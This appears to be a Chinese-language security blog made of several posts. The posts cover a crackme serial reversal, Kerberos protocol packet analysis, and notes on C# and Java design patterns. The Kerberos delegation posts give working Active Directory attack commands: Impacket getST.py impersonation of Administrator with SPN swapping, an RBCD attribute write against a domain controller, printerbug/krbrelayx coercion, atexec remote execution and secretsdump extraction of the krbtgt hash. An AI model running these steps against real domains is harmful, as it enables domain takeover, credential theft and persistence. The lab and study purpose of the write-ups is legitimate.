这条指令是否执行只会影响EDX的值，如果这条指令没执行，那么EDX的值就会变成0xffffffff

但是，我并没有办法输入-，所以这条指令肯定会执行，也就是说EDX的值肯定是0，那么在最后和EAX进行异或运算的时候，EDX是完全没有影响的，异或完之后，EAX的值是不会变的

现在就是要想办法，怎么把EAX的值弄成0x797A7553

现在的问题就是要循环多少次，每次EAX的值应该是多少，才能在循环结束之后，ECX的值为0x797A7553，因为在EDX为0的情况下，下面这两条指令完成后，其实就是MOV EAX, ECX

004013FF  |. 8D040A         LEA EAX,DWORD PTR DS:[EDX+ECX]
00401402  |. 33C2           XOR EAX,EDX

刚测试了一下，输入框允许的最大长度为21，EAX的值一共存在10种可能（0~9）

也就是说最多存在10^21个组合，这太大了，显然是爆破不出来的

仔细观察一下代码，可以发现下面这个表达式：

ECX=ECX*10+EAX

而由于EAX每次在运算之前会减去0x30，因此EAX的值就是我们在程序中输入的序列号种的字符

0x797A7553的10进制形式为2038068563，而ECX的初始值为0，第一次循环，ECX的值就是EAX的值，第二次循环，ECX的值是之前的EAX的值乘以10加上当前EAX的值，很明显，我们只需要将序列号设置为2038068563即可

弹出的对话框提示我们编写一个序列号生成器，而且程序提示说每台电脑上的序列号都不一样

刚才把这个程序放到了其他机器上，输入这个序列号，结果还是这个对话框

又换了一台机器，还是这个样子，不管了，既然他这么说了，我就看一下

破案了

很明显0x797A7553就是硬编码，唯一可能会影响到ESI值的因素就是在调用检验函数之前的代码

00401310  |. 8B35 9C334000          MOV ESI,DWORD PTR DS:[40339C]
00401316  |. 6A 28                  PUSH 28                                  ; /Count = 28 (40.)
00401318  |. 68 C4334000            PUSH CrackHea.004033C4                   ; |Buffer = CrackHea.004033C4
0040131D  |. FF35 90314000          PUSH DWORD PTR DS:[403190]               ; |hWnd = 00070812 (class='Edit',parent=00090814)
00401323  |. E8 4C010000            CALL <JMP.&USER32.GetWindowTextA>        ; \GetWindowTextA
00401328  |. E8 A5000000            CALL CrackHea.004013D2

就是上面代码中的第一行，这个0x40339C也是硬编码，但是这块内存中的值可能会在不同的机器上有不同的值，这里触及到我的知识盲区了，就到这儿吧

告辞！！

Kerberos基于资源的约束委派

2022-03-02T00:00:00+01:00

references：

ms-DS-Allowed-To-Act-On-Behalf-Of-Other-Identity attribute

约定:

RBCD：Resource Based Constrained Delegation——基于资源的约束委派
ataob2oi：msDS-AllowedToActOnBehalfOfOtherIdentity
S4U请求：如果没有特殊说明，那么指的就是S4U2self和S4U2proxy这两个请求

0x1 简介

RBCD在Windows 2012才引入，08是没有这个概念的

RBCD和之前介绍的约束委派的区别就是，约束是在资源服务器上进行配置的，传统的约束委派中，资源服务器只能被动的接受委派，是否能够委派到资源服务器由委派服务器进行控制

RBCD可以通过msDS-AllowedToActOnBehalfOfOtherIdentity属性来控制委派服务器是否能够委派任意用户来访问自己

这个属性的值是一个DACL，里面可以包含多个ACE，关于ACL相关知识，请移步这里

如下所示，S-1-5-21-3462766619-4007284874-984777186-1106是我们控制的账户的objectSid

RBCD是可玩性最高的一种委派，你可以利用它来做很多事情，我们会在下面慢慢介绍

0x2 RBCD的缺陷

在测试过程中，我发现即使是一个不具有任何委派权限的机器账户，只要在ataob2oi属性的ACL中，就可以正常进行S4U

当前的计算机账户new_cp_user_1的委派配置如下

正常来讲，使用该账户进行S4U请求，在S4Uself阶段返回的TGS票据是没有forwardable标志位的，因此会导致无法成功发起S4U2proxy请求，但是事实情况是下面这样的：

使用修改过的getST.py执行S4U2self请求，获取到第一阶段的TGS票据

python3 getST.py mother.fucker/new_cp_user_1$ -hashes :8dd1a8983ac3126f6f85a8713b757608 -impersonate Administrator -dc-ip 192.168.25.133 -self

使用describeTicket.py查看票据信息，可以看到，返回的票据中并没有forwardable标志位

我们使用该TGS票据执行S4U2proxy请求

python3 getST.py mother.fucker/new_cp_user_1$ -hashes :8dd1a8983ac3126f6f85a8713b757608 -impersonate Administrator -spn cifs/WIN-BTAP0QG1S13.mother.fucker -dc-ip 192.168.25.133 -additional-ticket Administrator@new_cp_user_1$@MOTHER.FUCKER.ccache

成功获取到TGS票据

使用该票据访问目标服务器文件系统：

当然，我并不是第一个发现这个问题的人，在Elad Shamir的文章Wagging the Dog中，他提到了这个问题，并且汇报给了微软，不过官方并不会修复这个问题，而是被认为是一种特性，就和之前提到的SPN任意更改问题一样

0x3 使用RBCD获取机器权限

只要我们对目标机器的ataob2oi属性有写入权限，那么我们就可以直接获取该机器的权限

首先我们需要创建一个机器账户或者给自己控制的普通用户注册一个SPN，这里我们选择创建机器账户

create_machine_account.ps1

powershell -executionpolicy bypass -command "& { import-module C:\Users\x\create_machine_account.ps1; New-machineaccount -domain mother.fucker -domaincontroller 192.168.64.139 -ldapuser Administrator -ldappass qwe123... -machineaccount user2 }"

将我们控制的用户写入域控制器机器账户的ataob2oi属性中

写入前：

rbcd_attack.py

C:\Users\x>py3 rbcd_attack.py -base dc=mother,dc=fucker -add -ip 192.168.64.139 -user Administrator@mother.fucker -passwd qwe123... -samdest dc$ -samsrc user2$
[*] object sid: S-1-5-21-1703014284-2335082847-473038621-1107
[*] target dn: CN=DC,OU=Domain Controllers,DC=mother,DC=fucker
[+] attribute modify success, long live the king!!!

写入后：

使用getST.py冒充任意可委派的用户申请针对DC的票据

C:\Users\x>py3 getST.py -spn cifs/dc.mother.fucker -dc-ip 192.168.64.139 -impersonate Administrator mother.fucker/user2$:q3etsSEDF.
Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation

[*] Getting TGT for user
[*] Impersonating Administrator
[*]     Requesting S4U2self
[*]     Requesting S4U2Proxy
[*] Saving ticket in Administrator@cifs_dc.mother.fucker@MOTHER.FUCKER.ccache

执行命令：

set KRB5CCNAME=C:\Users\x\Administrator@cifs_dc.mother.fucker@MOTHER.FUCKER.ccache
py3 atexec.py -k -no-pass -dc-ip 192.168.64.139 mother.fucker/Administrator@dc.mother.fucker whoami

如果是域控制器，那么可以使用该票据获取域内任意用户hash

set KRB5CCNAME=C:\Users\x\Administrator@cifs_dc.mother.fucker@MOTHER.FUCKER.ccache
py3 secretsdump.py -k -no-pass -target-ip 192.168.64.139 -dc-ip 192.168.64.139 mother.fucker/Administrator@dc.mother.fucker -just-dc -just-dc-user krbtgt

这种方式可用于持久化

Kerberos约束委派及利用

2022-02-27T00:00:00+01:00

references:

约定:

DS服务器：Delegation Server——委派服务器
OB用户：on behalf user——被委派的用户
RS服务器：Resource Server——资源服务器

0x1 简介

在之前的文章中，我们介绍了Kerberos非约束委派及利用方式，那么在这篇文章中，我将会介绍Windows AD环境中Kerberos协议的约束委派

约束委派中的约束二字具体体现在下图中：

也就是说，我们可以限制DS服务器所能够访问到的服务

比如上图中，DS服务器ds-server只能够访问到RS服务器WIN-JTPO01EANAQ的time服务

你或许注意到了，上图中有两个选项，一个仅可以使用Kerberos，另一个可以使用任何身份验证协议

这两个选项分别对应微软为Kerberos协议开发的两个拓展：

S4U2proxy
S4U2self

其中第二个拓展提供了一个叫做Protocol Transition（协议转换）的特性

也就是说，不管客户端使用何种认证协议认证到DS服务器，都能够使用该用户的身份通过DS服务器来访问RS服务器

大致过程如下:

OB用户使用NTLM（或者其他的身份认证协议）认证到DS服务器
DS服务器代表OB用户向KDC请求一个针对自身的TGS票据（OB@DS$@domain.name），这个过程叫做S4U2self
DS服务器使用上一步获取的TGS票据向KDC请求一个针对RS服务器的TGS票据（OB@time/RS@domain.name），这个过程叫做S4U2proxy，time是我们在上图中指定的服务类型

下面我们就进行抓包分析，以便更好地理解这两个扩展

0x2 抓包

我们在配置好ds-server服务器的委派设置之后，使用impacket中的examples脚本中的getST.py来进行演示

执行如下命令执行完整的S4U请求（先执行S4U2self请求，然后执行S4U2proxy请求）

python3 getST.py mother.fucker/ds-server$ -hashes :061c54f1f5311e1f47958465e16bab65 -impersonate Administrator -spn time/WIN-JTPO01EANAQ.mother.fucker -dc-ip 192.168.64.128

wireshark过滤条件直接写tcp.port==88即可

0x2.1 S4U2self

0x2.1.1 DS服务器获取TGT票据

在实际的S4U过程中，这一步是在DS服务器开机之后就完成的，但是由于我们是使用工具模拟请求，所以需要先获取到DS服务器的TGT票据

这也是为什么我们在上面的命令中需要使用ds-server$账户的hash

该过程在Kerberos协议分析一文中已经讲解过，在此不再赘述

0x2.1.2 DS服务器代表OB用户获取针对自己的TGS票据

TGS-REQ：

小标题中的针对自己的TGS票据意思就是在请求的票据中不包含服务类型，而只有DS服务器的机器账户名称

可以看到，在该TGS请求中，提交的是DS服务器自己的TGT票据，我们可以使用解密工具解密authenticator字段来证明

另外一个重要的字段就是PA-DATA，类型为pA-FOR-USER

下面是微软[MS-SFU]文档中对PA-FOR-USER的描述

上图中最后给出了该字段的结构，其中cksum为userName、userRealm和auth-package的校验和

校验和的计算需要TGT session key，userName就是OB用户

因此我们完全有能力自行构造PA-FOR-USER字段

你会发现，我们居然不需要OB用户的任何凭据信息就可以对其进行委派，只需要知道OB用户所在的域名和其samAccountName即可

TGS-REP：

可以看到，该票据的所有者是Administrator，也就是OB用户，我们可以通过解密ticket.enc-part来进一步确认

0x2.2 S4U2proxy

0x2.2.1 DS服务器代表OB用户获取针对RS服务器的TGS票据

TGS-REQ：

从上图中可以看到DS服务器拿着自己的TGT票据，以及在req-body中的additional-tickets向KDC申请time/WIN-JTPO01EANAQ.mother.fucker票据

additional-tickets就是在S4U2self阶段获取到的针对DS服务器自身的TGS票据

TGS-REP：

该票据就是颁发给Administrator用户的，我们可以通过解密ticket.enc-part来进一步确认该票据的所有者

至此，整个约束委派过程就完成，我们获取到了用于访问RS服务器WIN-JTPO01EANAQ.mother.fucker的time服务的票据

0x3 拓展

0x3.1 TGS票据中SPN服务类型可以任意修改

票据通过TGS-REP从KDC返回给客户端，也就是其中的ticket字段，该字段中有一个enc-part，是使用目标服务的账户哈希进行加密的，我们可以看一下该字段解密后的结构：

其中没有任何一个字段与SPN有关，也就是说，即便我们修改了SPN的服务类型，也不会导致票据失效

而且事实的确如此，就算将我们上面获取到的票据中SPN的服务类型由time改为cifs，也依然可以正常使用

可以使用这个修改过的getST.py在获取TGS票据的同时对服务类型进行修改，只需要将执行的命令改成下面即可：

python3 getST.py mother.fucker/ds-server$ -impersonate Administrator -spn time/WIN-JTPO01EANAQ.mother.fucker -altservice cifs -dc-ip 192.168.64.128 -aesKey 63b97c1cc1e372a0622452fad91adfb50ac06961e470a1ea1d508ac607f42239

使用获取到的cifs票据访问目标服务器文件系统

注意：只有运行在同一个服务账户下的服务才可以互相更改，比如time服务运行在example_service_user账户下，那么就算你改成了cifs服务，也你无法访问服务器的文件系统，因为cifs服务并不是由example_service_user账户运行的，一般由计算机账户运行

0x3.2 user account control

回到文中的第一张图

如果我们选择了使用任何身份验证协议，那么我们的DS服务器账户的useraccountcontrol属性的值为0x1001000

对照[MS-ADTS]中对userAccountControl Bits的描述：

0000 0001 0000 0000 0001 0000 0000 0000

第7位和第19位两个比特位启用，两者分别对应TA和WT

TA代表ADS_UF_TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION，启用了该bit位的账户可以代表其他用户通过S4U2self请求获取到一个针对自己的TGS票据，且该票据拥有forwardable标志位（可转发），如果票据不可转发，那么S4U2proxy请求将会失败

WT标志位表示该账户是机器账户

我们可以尝试将ds-server账户userAccountControl属性的TA标志位取消掉（将其值设置为4096），然后再执行S4U2self，查看返回的票据是否具有forwardable标志位

python3 getST.py mother.fucker/ds-server$ -impersonate Administrator -self -dc-ip 192.168.64.128 -aesKey 63b97c1cc1e372a0622452fad91adfb50ac06961e470a1ea1d508ac607f42239

使用describeTicket.py脚本查看票据的详细信息

python3 describeTicket.py -u ds-server$ -d mother.fucker --aes 63b97c1cc1e372a0622452fad91adfb50ac06961e470a1ea1d508ac607f42239 C:\Users\x\Downloads\tmp\Administrator@ds-server$@MOTHER.FUCKER.ccache

可以看到S4U2self请求返回的票据并不带有forwardable标志位

那么下一步的S4U2proxy请求就回应为additional-ticket中的票据无法被转发而失败：

另外，我们可以看到ds-server的委派配置变成了下面这样：

这是因为我们前面更改userAccountControl属性，取消了TA标志位

也就是说没有TA标志位的委派服务器执行S4U2self请求是没有意义的（在某些特殊的攻击场景下会有用），因为返回的票据并不能用于S4U2proxy

该选项相较于上面的使用任何身份验证协议更加安全，因为我们需要先使用OB用户的凭据来获取一个针对DS服务器的票据，然后才可以执行S4U2proxy来获取针对RS服务器的票据，这样就大大增加了攻击难度

0x4 利用

可以使用csvde搜索域内所有msDS-AllowedToDelegateTo属性不为空的账户：

csvde -s 192.168.64.128 -b Administrator mother.fucker qwe123... -d "dc=mother,dc=fucker" -r (msds-AllowedToDelegateTo=*/*) -l dn,sAMAccountName,msds-AllowedToDelegateTo,userAccountControl -m -f res.csv -u

然后我们需要通过userAccountControl的值确认是否启用了TA标志位，执行下面的Python代码即可：

print(True if (uac值 & (1<<24)) == (1<<24) else False)

由于TA为第7位（从0开始），因此可以通过和左移24位的1进行与运算来判断该bit位是否启用

如果TA比特位启用，且可以委派到指定服务器，那么一旦我们获得了该委派服务账户的凭据，我们就可以冒充任意账户去获取指定服务器的票据

python3 getST.py mother.fucker/ds-server$ -hashes :061c54f1f5311e1f47958465e16bab65 -impersonate Administrator -spn time/WIN-JTPO01EANAQ.mother.fucker -altservice cifs -dc-ip 192.168.64.128

因此，这个利用难度还是比较高的，后面我们将会介绍Kerberos基于资源的约束委派，在这种类型的约束委派中，S4U2self和S4U2proxy将会起到非常重要的作用

0x5 结语

没什么新的内容，都是网上能找得到的东西，这里不过是炒炒冷饭而已，权当笔记

如有不足之处，欢迎师傅们指点

Kerberos非约束委派数据包分析

2022-02-06T00:00:00+01:00

references:

0x1 前言

约定：

c-d-skey表示client与dc（kdc）TGS阶段用于加密通信的session key
c-s-skey表示client与应用服务器（Application Server）在AP阶段用于加密通信的session key

之前我们介绍过Windows AD中非约束委派的利用过程和原理，但是并没有去真正抓包分析过

我们都知道仅仅拥有TGT票据而没有c-d-skey是没办法创建合法的authenticator的，也就无法构造出合法的TGS-REQ来申请服务票据

那么在非约束委派攻击中，我们的恶意服务器是如何收到c-d-skey的呢？下面我们就来抓包分析一下

0x2 攻击流程

这里再稍微提一下整个的攻击流程

域内的用户A在访问由非约束委派账户B运行的服务S
向KDC请求服务票据
KDC在判断要请求的服务S为非约束委派账户B运行的服务之后会向用户A返回带有用户A的TGT的票据
该票据由服务账户也就是非约束委派账户B的hash进行加密
用户A向其请求的服务器发送带有其TGT的服务票据
服务器拿到后使用服务账户B解密即可获得用户A的TGT

可以看到，在上面的攻击流程中，只提到恶意服务器解密数据包之后获得TGT，但是并没有说如何获取c-d-skey

以下是具体的抓包分析过程

环境搭建参考我之前的文章

0x3 抓包

搭建好环境之后，启动krbrelayx

python krbrelayx.py -p "qwe123..." -s MOTHER.FUCKERohyeah

你可以直接在windows上运行这个脚本，禁用445端口的方法参考这里

然后使用printerbug触发目标服务器回连

python printerbug.py MOTHER.FUCKER/ohyeah:"qwe123..."@192.168.216.133 whatthefuck.mother.fucker

wireshark使用tcp.port==445过滤条件抓包

和之前的一样，krb数据包封装在SPNEGO数据包中

ticket为目标服务器先前缓存的cifs/whatthefuck.mother.fucker票据

这个票据是目标服务器在向我们的恶意服务器发起请求之前向KDC申请的，因此我们这里的wireshark抓包是看不到这一过程的

不过并不影响我们分析非约束委派攻击过程中的数据包

在本例中，恶意服务器能够解密目标服务器发送过来的ticket（由我们控制的账户hash加密），从而获取到用于解密authenticator字段的session key（c-s-skey）

获取到c-s-skey之后，解密authenticator字段

我们中点关注cksum字段

根据RFC 4121中4.1.1. Authenticator Checksum章节中的描述

cksum结构如下

可以看到flags字段中Deleg标志位是启用的，表明需要将凭据信息委派给远程主机

在启用了委派的情况下，TGT票据需要封装在KRB_CRED消息中

KRB_CRED消息是专门设计用来发送Kerberos凭据信息的，它里面封装的是票据以及加密的session key（c-d-skey）

下面是KRB_CRED消息以及解密后的enc-part字段

从ticket字段中的sname字段也可以看出来该票据是TGT票据

enc-part字段中包含c-d-skey，就是KrbCredInfo中的key字段

现在我们既拥有了WIN-37U50GQO8KT$账户的TGT票据，又拥有c-d-skey，就可以冒充该用户申请任意服务票据了

0x4 结语

有时候很多看起来想当然的问题，如果你深究一下，就会发掘出更多隐藏的细节

上面说了那么多，无非就是想说单独一个Kerberos票据并没有太大的作用（除了用来爆破——Kerberoasting）

只有有了对应的session key才能真正地将票据利用起来

Kerberos协议分析

2022-02-05T00:00:00+01:00

references:

https://syfuhs.net/a-bit-about-kerberos

0x1 前言

Kerberos本意为希腊神话中看守冥界之门的拥有三只头的恶犬，如下：

noborderfuckbiasdfjiab135twriabiajisadguiasgfastfyouasguidagsajdga

Kerberos协议在Windows AD安全领域中占据着举足轻重的地位，因此对Kerberos协议有一个相对透彻的理解还是很有必要的

这篇文章会通过Wireshark对Windows AD中Kerberos的一般通信过程进行详细的分析

0x2 概述

约定：

c-d-skey表示client与dc（kdc）TGS阶段用于加密通信的session key
c-s-skey表示client与应用服务器（Application Server）在AP阶段用于加密通信的session key

0x2.1 AS阶段

AS意为Authentication Service（认证服务）

client向kdc发送AS-REQ（不包含pre-auth）
kdc返回KRB-ERR，要求客户端发送pre-auth
client向kdc发送包含pre-auth（使用client密码hash加密的时间戳）的AS-REQ
kdc验证用户身份（解密时间戳，验证时间是否为最近的时间）
kdc向client返回AS-REP，其中包含tgt票据以及session key（c-d-skey）
tgt票据加密部分使用krbtgt账户hash进行加密，enc-part字段使用client密码hash进行加密，其中包含有c-d-skey
client使用自己的密码hash解密enc-part获得c-d-skey，然后将c-d-skey和tgt票据缓存起来，以备后用

0x2.2 TGS阶段

TGS意为Ticket Grant Service（票据颁发服务）

client使用c-d-skey生成加密的authentictor字段并和tgt一起提交给KDC，该数据包为TGS-REQ，其中req-body字段中包含目标服务的spn
kdc解密tgt，获取c-d-skey，使用c-d-skey解密authenticator，验证client身份
根据client的请求颁发相应的服务票据，生成TGS-REP数据包返回给client
TGS-REP中包含服务票据以及enc-part，enc-part由c-d-skey进行加密，里面包含c-s-skey，票据的enc-part使用应用服务器的服务账户hash进行加密
client解密TGS-REP后将服务票据和c-s-skey缓存起来，以备后用

0x2.3 AP阶段

AP意为Application Service（应用服务）

client向目标服务器server发送AP-REQ数据包，其中包含服务票据以及一个用于验证自己身份的authenticator
此authenticator字段使用c-s-skey进行加密
server收到AP-REQ之后，使用自己的服务账户hash解密票据，从中获得c-s-skey，使用c-s-skey解密authenticator从而验证客户端身份

至此，kerberos完成，client和server开始加密通信

0x3 抓包分析

下面是具体的抓包分析，里面的字段可能和上面的概述有出入，但不影响理解Kerbero协议通信过程

我们这里以Rubeus和smbclient.py为例，请求目标服务器的cifs服务，示例用户为MOTHER.FUCKER\Administrator

首先生成keytab文件，并应用到wireshark的KRB5协议中

ktpass -out Administrator.keytab -princ Administrator@MOTHER.FUCKER -mapUser Administrator@MOTHER.FUCKER -pass qwe123... -crypto all -ptype KRB5_NT_PRINCIPAL

0x3.1 AS阶段

这里我们使用Rubeus直接请求TGT票据

Rubeus.exe asktgt /user:Administrator /password:qwe123... /domain:MOTHER.FUCKER /dc:192.168.216.131  /outfile:123.kirbi /opsec /force

0x3.1.1 AS-REQ (no pre-auth)

可以看到，在这个AS-REQ数据包中，并没有提供任何认证相关的信息，只是提供了client支持的所有加密类型，用户名MOTHER.FUCKER\Administrator以及client的地址信息（hostname）

0x3.1.2 KRB-ERROR

error-code字段显示错误类型为eRR-PREAUTH-REQUIRED，即要求client提供pre-auth数据

在e-data字段中，第一个PA-DATA——PA-ENCTYPE-INFO2中，kdc提供了自己支持的加密类型

分别是AES256和RC4，其中前者需要盐（MOTHER.FUCKERAdministrator），普通账户的盐值计算方式和计算机账户的盐值计算方式有细微的差别

0x3.1.3 AS-REQ (with pre-auth)

client选定加密类型23（RC4），将当前时间戳加密封装到PA-ENC-TIMESTAMP结构中

在req-body中指定票据申请者（MOTHER.FUCKER\Administrator）和要申请的票据（krbtgt@MOTHER.FUCKER）

0x3.1.4 AS-REP

ticket字段自不必说，就是TGT票据

enc-part由client的密码哈希加密，解密后的内容中最重要的就是key字段，也就是c-d-skey，其中包含密钥类型和密钥值

有了c-d-skey之后，就能进行下一阶段的通信了

0x3.2 TGS阶段

使用Rubeus利用AS阶段获取到的TGT票据缓存请求CIFS服务票据

Rubeus.exe asktgs /ticket:123.kirbi /service:CIFS/WIN-37U50GQO8KT.MOTHER.FUCKER /dc:192.168.216.131 /outfile:321.kirbi

0x3.2.1 TGS-REQ

TGT票据以及认证数据authenticator都在padata字段中——PA-TGS-REQ

TGT票据就是AS阶段返回的票据，原封不动放在这里

authenticator字段为使用c-d-skey加密的数据，解密如下：

可以看到authenticator字段中包含了票据申请者MOTHER.FUCKER\Administrator，这个必须要和TGT票据中的用户是一致的，不然会导致认证失败，同时也是为了防止冒充用户

req-body中主要的字段就是sname，指定了申请的票据的SPNCIFS/WIN-37U50GQO8KT.MOTHER.FUCKER

0x3.2.2 TGS-REP

返回一个CIFS票据和enc-part

enc-part字段由c-d-skey加密，解密后内容如下：

最重要的字段依然是key（c-s-skey），有了这个key，就可以构造AP-REP数据包，向Server进行认证

0x3.3 AP阶段

python smbclient.py MOTHER.FUCKER/Administrator@WIN-37U50GQO8KT.MOTHER.FUCKER -k -no-pass -target-ip 192.168.216.131 -dc-ip 192.168.216.131

对impacket的文件进行了修改，将impacket\smbconnection.py的第314行修改为：

ccache = CCache.loadFile(r"C:\Users\x\1.ccache")

其中C:\Users\x\1.ccache是经过ticketConvert.py转换过的ccache格式的票据缓存

0x3.3.1 AP-REQ

这个数据包是在445端口捕获的，kerberos协议的ap-req被封装在SPNEGO数据包中

你可以将SPNEGO理解为一个用于将应用协议和认证协议分离开来的一种协议

在本例中，SPNEGO将smb协议和kerberos协议分离开来

在ap-req中，ticket字段为TGS阶段获取的票据，原封不动放在这里

authenticator中包含客户端身份信息，使用c-s-skey加密

0x3.3.2 AP-REP

在本例中，并不存在AP-REP数据包，只是在SPNEGO中返回了accept-completed代码，表示smb会话建立成功

在实际应用中，AP-REP只有在client在AP-REQ的authenticator字段提供了sub-key时候才会被返回，表明是否采用client提供的sub-key，或者向client返回自己选择的sub-key，用于后续的通信加密

0x4 结语

如果有不对的地方，希望能指出来，谢谢

今天是大年初五——破五，你们都吃饺子了吗？

C# await操作符

2021-12-30T00:00:00+01:00

references:

https://docs.microsoft.com/en-us/dotnet/csharp/language-reference/operators/await

前言

最近在看一个使用.Net实现的Kerberos库的代码，全是C#代码，里面很多语法都不太懂，这里做一下记录

正文

废话不多说，先上代码：

using System;
using System.Net.Http;
using System.Threading.Tasks;

public class AwaitOperator
{
    public static async Task Main()
    {
        Task<int> downloading = DownloadDocsMainPageAsync();
        Console.WriteLine($"{nameof(Main)}: Launched downloading.");

        int bytesLoaded = await downloading;
        Console.WriteLine($"{nameof(Main)}: Downloaded {bytesLoaded} bytes.");
    }

    private static async Task<int> DownloadDocsMainPageAsync()
    {
        Console.WriteLine($"{nameof(DownloadDocsMainPageAsync)}: About to start downloading.");

        var client = new HttpClient();
        byte[] content = await client.GetByteArrayAsync("https://docs.microsoft.com/en-us/");

        Console.WriteLine($"{nameof(DownloadDocsMainPageAsync)}: Finished downloading.");
        return content.Length;
    }
}

await操作符会将使用async关键字修饰的方法挂起，我不太确定挂起这个说法准不准确，我们拿上面的代码来说，DownloadDocsMainPageAsync方法被调用之后会理解返回到Main方法中，也就是说它不会阻塞Main方法的执行

Main方法会在await操作符出现的地方阻塞，而此时DownloadDocsMainPageAsync方法已经执行了一段时间了，当然在上面的代码中体现不出来，因为在方法调用和真正用到方法返回值之间只有一个简单的输出

此时Main方法会等待DownloadDocsMainPageAsync异步方法的返回值，而在该方法中，它也正在等待GetByteArrayAsync方法的返回值，当这两个方法依次完成异步操作之后，Main方法继续执行剩余的代码

我们可以在Main方法中加一个Sleep来更直观地看到异步执行的效果：

using System;
using System.Net.Http;
using System.Threading;
using System.Threading.Tasks;

public class AwaitOperator
{
    public static async Task Main()
    {
        Task<int> downloading = DownloadDocsMainPageAsync();
        Console.WriteLine($"{nameof(Main)}: Launched downloading.");
        for (var i=0; i<5; i++){
            Console.WriteLine("tick tock...");
            Thread.Sleep(1000);
        }
        int bytesLoaded = await downloading;
        Console.WriteLine($"{nameof(Main)}: Downloaded {bytesLoaded} bytes.");
    }

    private static async Task<int> DownloadDocsMainPageAsync()
    {
        Console.WriteLine($"{nameof(DownloadDocsMainPageAsync)}: About to start downloading.");

        var client = new HttpClient();
        byte[] content = await client.GetByteArrayAsync("https://docs.microsoft.com/en-us/");

        Console.WriteLine($"{nameof(DownloadDocsMainPageAsync)}: Finished downloading.");
        return content.Length;
    }
}

可以看到异步方法被调用之后，并不会立刻返回，而是去执行方法体中的代码，当执行到await修饰的异步方法时会立即返回到主方法，同时异步方法GetByteArrayAsync开始下载数据

最后在Main方法中使用await操作符获取异步方法的返回值

Task类

你在读上面的代码时候可能会产生一个疑问，DownloadDocsMainPageAsync的返回值明明是一个Task<int>类型的，为什么却可以写出下面的代码呢？

int bytesLoaded = await downloading;

这里就体现出await操作符的作用了，在C#中，Task<?>表示一个可以返回?类型返回值的方法

如果我们把await操作符删除掉，就会出现如下错误

只有使用await操作符才可以获取到异步方法中Task<?>中的?类型的返回值

结语

没有系统学习过C#，参考着文档以及示例代码琢磨的，大概率有说的不对的地方，希望大家可以指正

Facade模式

2021-12-07T00:00:00+01:00

references:

https://github.com/iluwatar/java-design-patterns/tree/master/facade

facade这个单词的字面意思是“正面、外观”

举一个现实中的例子来更容易去理解这个模式的意图：

如果我问你金矿是怎么运作的，你可能会说，这很简单，矿工下去把金子挖出来就完事儿了

你这么说是因为你只看到了金矿向外暴露的样子

实际上金矿内部很复杂，想挖出金子还需要做很多其他的工作

==通过一个简单的接口来使用一个复杂的系统就是facade==

换句话说，Facade模式为一个复杂的系统提供了一个简单的接口

引用维基百科上的话，facade是一个对象，它为更大的代码体（比如类库）提供简化的接口

本示例的背景是矿工挖金矿

在程序的入口函数中，只有几行代码：

package com.iluwatar.facade;

public class App {
  public static void main(String[] args) {
    var facade = new DwarvenGoldmineFacade();
    facade.startNewDay();
    facade.digOutGold();
    facade.endDay();
  }
}

在获取到facade对象之后，只调用了三个方法

就像上面说过的，你只看到了矿工下去挖矿，然后金子被运出来，你并不了解内部的运作方式，正如主方法中调用的这三个方法：开始新的一天、挖金子、结束

facade为你隐藏了内部实现，你不需要关心他是怎么开始的新的一天，怎么挖的金子，怎么结束的一天，你只需要使用就行了

facade切断了终端用户与金矿子系统的依赖

在本例中，金矿子系统就是抽象类DwarvenMineWorker

package com.iluwatar.facade;

import java.util.Arrays;
import lombok.extern.slf4j.Slf4j;

@Slf4j
public abstract class DwarvenMineWorker {

  public void goToSleep() {
    LOGGER.info("{} goes to sleep.", name());
  }

  public void wakeUp() {
    LOGGER.info("{} wakes up.", name());
  }

  public void goHome() {
    LOGGER.info("{} goes home.", name());
  }

  public void goToMine() {
    LOGGER.info("{} goes to the mine.", name());
  }

  private void action(Action action) {
    switch (action) {
      case GO_TO_SLEEP:
        goToSleep();
        break;
      case WAKE_UP:
        wakeUp();
        break;
      case GO_HOME:
        goHome();
        break;
      case GO_TO_MINE:
        goToMine();
        break;
      case WORK:
        work();
        break;
      default:
        LOGGER.info("Undefined action");
        break;
    }
  }

  /**
   * Perform actions.
   */
  public void action(Action... actions) {
    Arrays.stream(actions).forEach(this::action);
  }

  public abstract void work();

  public abstract String name();

  enum Action {
    GO_TO_SLEEP, WAKE_UP, GO_HOME, GO_TO_MINE, WORK
  }
}

注意这段代码：

Arrays.stream(actions).forEach(this::action);

很明显，这段代码用到了昨天学习的函数式编程的思想

上面的代码相当于：

Arrays.stream(actions).forEach((action) -> this.action(action));

只不过是遍历方式简化了许多，再加上lambda表达式的简写，一眼看上去可能会不理解

定义完上面的矮人矿工抽象类之后，接着需要编写三个实体类：隧道挖掘工、矿工、运输工

每个实体类都会实现work()方法和name()方法，后者不重要，只是用来在演示的时候提供提示信息

不同的矿工拥有不同的work()实现，这些方法会在DwarvenGoldmineFacade类中被调用

这个设计模式其实还算比较好理解，就是复杂系统的内部实现对于用户是透明的，就像使用计算机，它只呈献给用户一个UI，但是具体内部实现原理是与用户隔绝的

工厂模式——factory

2021-12-07T00:00:00+01:00

references:

https://github.com/iluwatar/java-design-patterns/tree/master/factory

根据github上的代码，CoinType这个枚举类的代码如下：

package com.iluwatar.factory;

import java.util.function.Supplier;
import lombok.Getter;

/**
 * Enumeration for different types of coins.
 */
@RequiredArgsConstructor
@Getter
public enum CoinType {

  COPPER(CopperCoin::new),
  GOLD(GoldCoin::new);

  private final Supplier<Coin> constructor;
}

可以看到他这里使用了一个RequiredArgsConstructor注解，关于该注解的笔记，参考：

RequiredArgsConstructor注解

这里有一个final修饰的字段constructor，如果我们手动进行该枚举类型的构造函数编写的话，代码应该如下：

package com.iluwatar.factory;

import java.util.function.Supplier;
import lombok.Getter;
import lombok.RequiredArgsConstructor;

/**
 * Enumeration for different types of coins.
 */

@Getter
public enum CoinType {

  COPPER(CopperCoin::new),
  GOLD(GoldCoin::new);

  private final Supplier<Coin> constructor;
  CoinType(Supplier<Coin> constructor){
    this.constructor = constructor;
  }
}

上面的代码可以正常编译并运行

另外，Getter注解也可以删除，然后对代码作如下更改即可

package com.iluwatar.factory;

import java.util.function.Supplier;

/**
 * Enumeration for different types of coins.
 */

public enum CoinType {

  COPPER(CopperCoin::new),
  GOLD(GoldCoin::new);

  private final Supplier<Coin> constructor;
  CoinType(Supplier<Coin> constructor){
    this.constructor = constructor;
  }
  public Supplier<Coin> getConstructor() {
    return this.constructor;
  }
}

Getter注解就是为类自动生成getter方法

